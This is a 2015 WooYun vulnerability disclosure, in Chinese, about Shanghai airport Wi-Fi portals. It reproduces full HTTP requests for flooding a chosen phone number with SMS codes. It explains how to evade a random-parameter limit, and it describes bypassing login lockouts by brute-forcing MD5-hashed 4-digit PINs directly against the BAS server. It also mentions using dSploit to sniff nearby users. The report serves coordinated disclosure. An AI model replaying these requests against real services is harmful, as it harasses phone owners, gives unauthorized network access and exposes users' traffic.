当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117052

漏洞标题:上海机场WIFI系统web portal绕过登陆及其它几种风险分析

相关厂商:上海浦东机场

漏洞作者: 司徒-situ

提交时间:2015-05-31 12:52

修复时间:2015-07-19 15:20

公开时间:2015-07-19 15:20

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-31: 细节已通知厂商并且等待厂商处理中
2015-06-04: 厂商已经确认,细节仅向厂商公开
2015-06-14: 细节向核心白帽子及相关领域专家公开
2015-06-24: 细节向普通白帽子公开
2015-07-04: 细节向实习白帽子公开
2015-07-19: 细节向公众公开

简要描述:

普通机场WIFI系统。迈外迪和i-shanghai存在短信轰炸漏洞、web portal登陆绕过漏洞

详细说明:

连接wifi: i-shanghai
访问任意地址。此时请求会重定向到Web认证服务器。此时服务器要求提交用户手机号码,作为身份认证凭证访问网络。提交可用手机号后,我们收到身份认证消息。
4. 截取获取验证码数据包,我们得到模拟获取验证码数据包:

POST /indivi_getpwd HTTP/1.1
Host: wlan.ct10000.com
Connection: keep-alive
Content-Length: 573
Origin: https://wlan.ct10000.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: https://wlan.ct10000.com/style/ish_fx/index.jsp?paramStr=COqXYOzD8pv6cqCP2xM%2F1QXHeeGfBeBePXZBiPFZG%2Fs4%2FqxL5rmdARSgMWIbfw5IxISE2dASuPU7%0ALBGgOEqOcXWwcvjy5PelSIeCqYTPiPEtTbivgnf1NpCV0L7FUsuJQj4a03ik04ZJkr%2Fsj8AXGT8c%0AXhy222MHStY0YoqR%2Bt7rEqrIdMIX6P8Qsl%2Ffkjb1445ppt7UKPfcyxvL0oGhbhS%2ByudOD%2BsmEpNV%0ApXa6Mo%2Fm0CDnd3xyVj95FoaSd202Ic7wojsRdkVHA69kHhdiS6wjhMSaANO0FNPST%2Bt1q8noQeIt%0A773Z%2BQsFOQYyPhvzj9LDPZxkzeX6kIXDl4FHFEIvutmGGJt1tdM9W1XHgWp0JrdmjT1F2EJRy8mg%0AZWm4NKCrlgf5E%2FbyU9CZTnXao1BIu0pq3tK6V0PHWMMydsmL9c4XzChDQm%2FoEtUy1FUc
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=6C0CD643DFA1B49FF1629C9AD7CDD78D
paramStr=COqXYOzD8pv6cqCP2xM%2F1QXHeeGfBeBePXZBiPFZG%2Fs4%2FqxL5rmdARSgMWIbfw5IxISE2dASuPU7%0ALBGgOEqOcS4DxIRAJLjKoB0IJRWUVKlbRmzBMEqYgXm4emZ9XuDvXl79xKG57CHGwZuRa3qI2W35%0AWY%2Bg6NgsdtP%2FyiwuvU4HYnN9dc3IHn9hG74tz%2BfR7xWaqkwnSFNEEPyj%2FOsrGFrO7X8C%2BPDAwrTb%0A8cCFR4iiKWfLeV1jLJRVAAmghwKtg01VZ%2F1EuzxGmVUSOuXN%2FtMBNmHN%2BWA4%2Bud51uGJ0HK535R3%0AAe05gr1EancrK6CmesbGFCo63UuyDwnw5rN3sv4hQbvTT7r7vWEu3mN2cMDfegLpMgq6dNHLWrEP%0Ahl0HqIfQnyhJBj9r%2F6uY8Imw2QDbaIhXfqLfHkM1bkh0gR6qP8DPQIoV2LXTPVtVx4FqWImQK6rY%0AR%2Bb15ff9Tni4bQ%3D%3D&userName=138******&t=0.5998908018227667


这里username是我们要轰炸的手机账号。当我们重复对该数据包进行发送的时候,我们会发现服务器做了限制。原因在于参数t,是一个随机数,我们这里需要随机随着次数和时间更新t。实现短信轰炸功能。

1.png


1分钟之内目标手机将收到上百条短信信息

2.png


同样的,我们连接另一个wifi:public free wifi,我们同样发现,该系统具有短信轰炸漏洞。
2. 通过一次正常的登陆过程,我们对网络数据进行抓包。可以发现请求验证码数据包:

POST /portal/ajaxregbymobile HTTP/1.1
Host: 172.21.163.22:8887
Connection: keep-alive
Content-Length: 27
Accept: text/plain, */*; q=0.01
Origin: http://172.21.163.22:8887
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://172.21.163.22:8887/portal?cmd=login&mac=74:e5:43:06:48:5a&ip=172.21.173.230&essid=FREE-AIRPORT-WiFi&url=http%3A%2F%2Fwww%2Ebaidu%2Ecom%2Findex%2Ephp%3Ftn%3D02049043%5F14%5Fpg
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=bqb8bamo2l4vcmehfe4mdiq2n5
mobile=138*****&type=sms


参数mobile是我们轰炸对象。此处我们发现,与i-shanghai不同。Free public wifi的系统甚至并未进行任何校验。这样我们只需简单重复发送数据包,就可实现信息轰炸。
疯狂重复发送就可。

3.png


绕过Web Portal漏洞 :链接free public wifi 。
连接网络后我们打开浏览器,访问任意地址。此时请求会重定向到Web认证服务器。此时服务器要求提交用户手机号码,作为身份认证凭证访问网络。提交可用手机号后,我们收到身份认证消息。

4.png


4. 抓取登陆过程数据包,我们得到以下内容:

POST /portal/ajaxlogin HTTP/1.1
Host: 172.21.163.22:8887
Connection: keep-alive
Content-Length: 30
Accept: text/plain, */*; q=0.01
Origin: http://172.21.163.22:8887
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://172.21.163.22:8887/portal?cmd=login&mac=74:e5:43:06:48:5a&ip=172.21.173.230&essid=FREE-AIRPORT-WiFi&url=http%3A%2F%2Fwww%2Ebaidu%2Ecom%2Findex%2Ephp%3Ftn%3D02049043%5F14%5Fpg
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=bqb8bamo2l4vcmehfe4mdiq2n5
user=138******&password=0556


这里如果我们失败三次登陆之后。系统会对某手机号码禁止登陆。这个时候,就无法进行简单的密码穷举。
实际上还是存在漏洞的。我们通过分析数据包发现。上面存在错误次数限制的登陆,实际上并不是真正的登陆地址。截取正确登陆数据包我们发现:

5.png


Portal Server验证密码通过后。会返回一串字符串: 3e33b970f21d2fc65096871ea0d2c6e4
这串字符串,实际上就是密码的md5值(这里二次测试,密钥是4051)。然后浏览器会使用该md5值,直接与BAS服务器进行交互登陆。
具体登陆数据包如下:

POST /login.html HTTP/1.1
Host: 1.1.1.1
Connection: keep-alive
Content-Length: 117
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://172.29.255.248
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://172.29.255.248/s?t=haupka
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
buttonClicked=4&redirect_url=&err_flag=0&username=138****&password=3e33b970f21d2fc65096871ea0d2c6e4&Submit=Submit


这里是一种充满风险的架构。用户本质上是绕过了Portal Server服务器与BAS直接进行登陆认证。而这里,登陆认证并没有加入一些防暴力破解的逻辑。
6. 那么因为本质上,密码还是4为数字。我们无法向Portal Server 进行密码认证。但是我们可以直接与BAS直接进行沟通,猜解密码。
具体的,我们通过自动化程序。生成4位数字的md5值,替代password进行穷举登陆。
此外:
我们使用一台android手机。安装dspolit,配置好工作环境后。连接SSID为i-shanghai的网络:
可以看到附近上网用户:

5.jpg


我们可以进行信息窃取:

6.jpg


同样的,free public wifi这个SSID也同样存在这个问题:

2.jpg


漏洞证明:

2.png


3.png


修复方案:

你懂的。

版权声明:转载请注明来源 司徒-situ@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-06-04 15:19

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向民航行业测评中心通报,由其后续协调网站管理单位处置.

最新状态:

暂无